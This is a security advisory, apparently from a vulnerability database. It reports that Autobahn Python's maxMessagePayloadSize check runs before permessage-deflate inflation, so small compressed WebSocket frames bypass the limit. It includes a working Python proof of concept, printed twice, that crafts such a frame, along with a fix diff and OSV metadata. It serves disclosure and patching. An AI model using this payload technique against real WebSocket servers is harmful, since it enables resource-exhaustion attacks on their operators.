GHSA-HXP9-W8X3-P566
Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37Summary
Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.
Details
The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.
Reproduction
import sys
import types
import zlib
if len(sys.argv) != 2:
raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")
SRC = sys.argv[1]
class _Log:
def debug(self, *args, **kwargs):
pass
def warn(self, *args, **kwargs):
pass
def error(self, *args, **kwargs):
pass
class _Timer:
def call_later(self, *args, **kwargs):
return self
def cancel(self):
pass
txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio
hyperlink = types.ModuleType("hyperlink")
class _URL:
@classmethod
def from_text(cls, text):
return cls(text)
def __init__(self, text):
self._text = text
def to_uri(self):
return self
def normalize(self):
return self
def to_text(self):
return self._text
hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink
wamp_types = types.ModuleType("autobahn.wamp.types")
class TransportDetails:
pass
wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types
sys.path.insert(0, SRC + "/src")
from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol
class _Factory:
isServer = True
requireMaskedClientFrames = True
maskServerFrames = False
utf8validateIncoming = True
applyMask = True
maxFramePayloadSize = 128
maxMessagePayloadSize = 128
autoFragmentSize = 0
failByDrop = True
echoCloseCodeReason = False
openHandshakeTimeout = 5
closeHandshakeTimeout = 1
tcpNoDelay = True
autoPingInterval = 0
autoPingTimeout = 0
autoPingSize = 12
autoPingRestartOnAnyTraffic = True
logOctets = False
logFrames = False
trackTimings = False
versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
webStatus = False
perMessageCompressionAccept = staticmethod(lambda offer: None)
serveFlashSocketPolicy = False
flashSocketPolicy = ""
allowedOrigins = ["*"]
allowedOriginsPatterns = []
allowNullOrigin = True
maxConnections = 0
trustXForwardedFor = 0
_batched_timer = _Timer()
class CapturingProtocol(WebSocketProtocol):
CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER
def __init__(self):
super().__init__()
self.delivered = None
def _onMessageBegin(self, isBinary):
self.onMessageBegin(isBinary)
def _onMessageFrameBegin(self, length):
self.onMessageFrameBegin(length)
def _onMessageFrameData(self, payload):
self.onMessageFrameData(payload)
def _onMessageFrameEnd(self):
self.onMessageFrameEnd()
def _onMessageFrame(self, payload):
self.onMessageFrame(payload)
def _onMessageEnd(self):
self.onMessageEnd()
def _onMessage(self, payload, isBinary):
self.delivered = payload
def sendData(self, data, sync=False, chopsize=None):
pass
def dropConnection(self, abort=True):
self.droppedByMe = True
self.state = WebSocketProtocol.STATE_CLOSED
def masked_compressed_text_frame(payload):
compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
compressed = compressed[:-4]
mask = b"\x11\x22\x33\x44"
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
if len(compressed) <= 125:
header = bytes([0xC1, 0x80 | len(compressed)])
elif len(compressed) <= 65535:
header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
else:
raise RuntimeError("compressed fixture too large")
return header + mask + masked, len(compressed)
limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
raise SystemExit("compressed fixture does not pass pre-inflate limit")
proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
is_server=True,
server_no_context_takeover=False,
client_no_context_takeover=False,
server_max_window_bits=15,
client_max_window_bits=15,
mem_level=8,
max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13
proto._dataReceived(frame)
delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
print(
"AUTOBAHN_DEFLATE_LIMIT_BYPASS "
f"delivered_length={delivered_len} configured_limit={limit} "
f"compressed_length={compressed_len}"
)
raise SystemExit(0)
print(
"guarded "
f"delivered_length={delivered_len} configured_limit={limit} "
f"compressed_length={compressed_len} "
f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)
Impact
A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.
Suggested fix
diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
if self.state == WebSocketProtocol.STATE_OPEN:
self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+ if self._isMessageCompressed:
+ self.message_data_total_length += uncompressedLen - compressedLen
+ if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+ self.wasMaxMessagePayloadSizeExceeded = True
+ self._max_message_size_exceeded(
+ self.message_data_total_length,
+ self.maxMessagePayloadSize,
+ f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+ )
+ return False
# incrementally validate UTF-8 payload
#
Reported by Team Atlanta.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "autobahn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.7.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "crossbar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77528"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:37:28Z",
"nvd_published_at": "2026-09-18T20:17:22Z",
"severity": "MODERATE"
},
"details": "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n def debug(self, *args, **kwargs):\n pass\n\n def warn(self, *args, **kwargs):\n pass\n\n def error(self, *args, **kwargs):\n pass\n\n\nclass _Timer:\n def call_later(self, *args, **kwargs):\n return self\n\n def cancel(self):\n pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n @classmethod\n def from_text(cls, text):\n return cls(text)\n\n def __init__(self, text):\n self._text = text\n\n def to_uri(self):\n return self\n\n def normalize(self):\n return self\n\n def to_text(self):\n return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n isServer = True\n requireMaskedClientFrames = True\n maskServerFrames = False\n utf8validateIncoming = True\n applyMask = True\n maxFramePayloadSize = 128\n maxMessagePayloadSize = 128\n autoFragmentSize = 0\n failByDrop = True\n echoCloseCodeReason = False\n openHandshakeTimeout = 5\n closeHandshakeTimeout = 1\n tcpNoDelay = True\n autoPingInterval = 0\n autoPingTimeout = 0\n autoPingSize = 12\n autoPingRestartOnAnyTraffic = True\n logOctets = False\n logFrames = False\n trackTimings = False\n versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n webStatus = False\n perMessageCompressionAccept = staticmethod(lambda offer: None)\n serveFlashSocketPolicy = False\n flashSocketPolicy = \"\"\n allowedOrigins = [\"*\"]\n allowedOriginsPatterns = []\n allowNullOrigin = True\n maxConnections = 0\n trustXForwardedFor = 0\n _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n def __init__(self):\n super().__init__()\n self.delivered = None\n\n def _onMessageBegin(self, isBinary):\n self.onMessageBegin(isBinary)\n\n def _onMessageFrameBegin(self, length):\n self.onMessageFrameBegin(length)\n\n def _onMessageFrameData(self, payload):\n self.onMessageFrameData(payload)\n\n def _onMessageFrameEnd(self):\n self.onMessageFrameEnd()\n\n def _onMessageFrame(self, payload):\n self.onMessageFrame(payload)\n\n def _onMessageEnd(self):\n self.onMessageEnd()\n\n def _onMessage(self, payload, isBinary):\n self.delivered = payload\n\n def sendData(self, data, sync=False, chopsize=None):\n pass\n\n def dropConnection(self, abort=True):\n self.droppedByMe = True\n self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n compressed = compressed[:-4]\n mask = b\"\\x11\\x22\\x33\\x44\"\n masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n if len(compressed) \u003c= 125:\n header = bytes([0xC1, 0x80 | len(compressed)])\n elif len(compressed) \u003c= 65535:\n header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n else:\n raise RuntimeError(\"compressed fixture too large\")\n return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n is_server=True,\n server_no_context_takeover=False,\n client_no_context_takeover=False,\n server_max_window_bits=15,\n client_max_window_bits=15,\n mem_level=8,\n max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n print(\n \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n f\"delivered_length={delivered_len} configured_limit={limit} \"\n f\"compressed_length={compressed_len}\"\n )\n raise SystemExit(0)\n\nprint(\n \"guarded \"\n f\"delivered_length={delivered_len} configured_limit={limit} \"\n f\"compressed_length={compressed_len} \"\n f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n if self.state == WebSocketProtocol.STATE_OPEN:\n self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+ if self._isMessageCompressed:\n+ self.message_data_total_length += uncompressedLen - compressedLen\n+ if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+ self.wasMaxMessagePayloadSizeExceeded = True\n+ self._max_message_size_exceeded(\n+ self.message_data_total_length,\n+ self.maxMessagePayloadSize,\n+ f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+ )\n+ return False\n \n # incrementally validate UTF-8 payload\n #\n```\n\n*Reported by Team Atlanta.*",
"id": "GHSA-hxp9-w8x3-p566",
"modified": "2026-09-22T20:37:28Z",
"published": "2026-09-22T20:37:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
},
{
"type": "WEB",
"url": "https://github.com/crossbario/autobahn-python/pull/1916"
},
{
"type": "WEB",
"url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
},
{
"type": "PACKAGE",
"url": "https://github.com/crossbario/autobahn-python"
},
{
"type": "WEB",
"url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.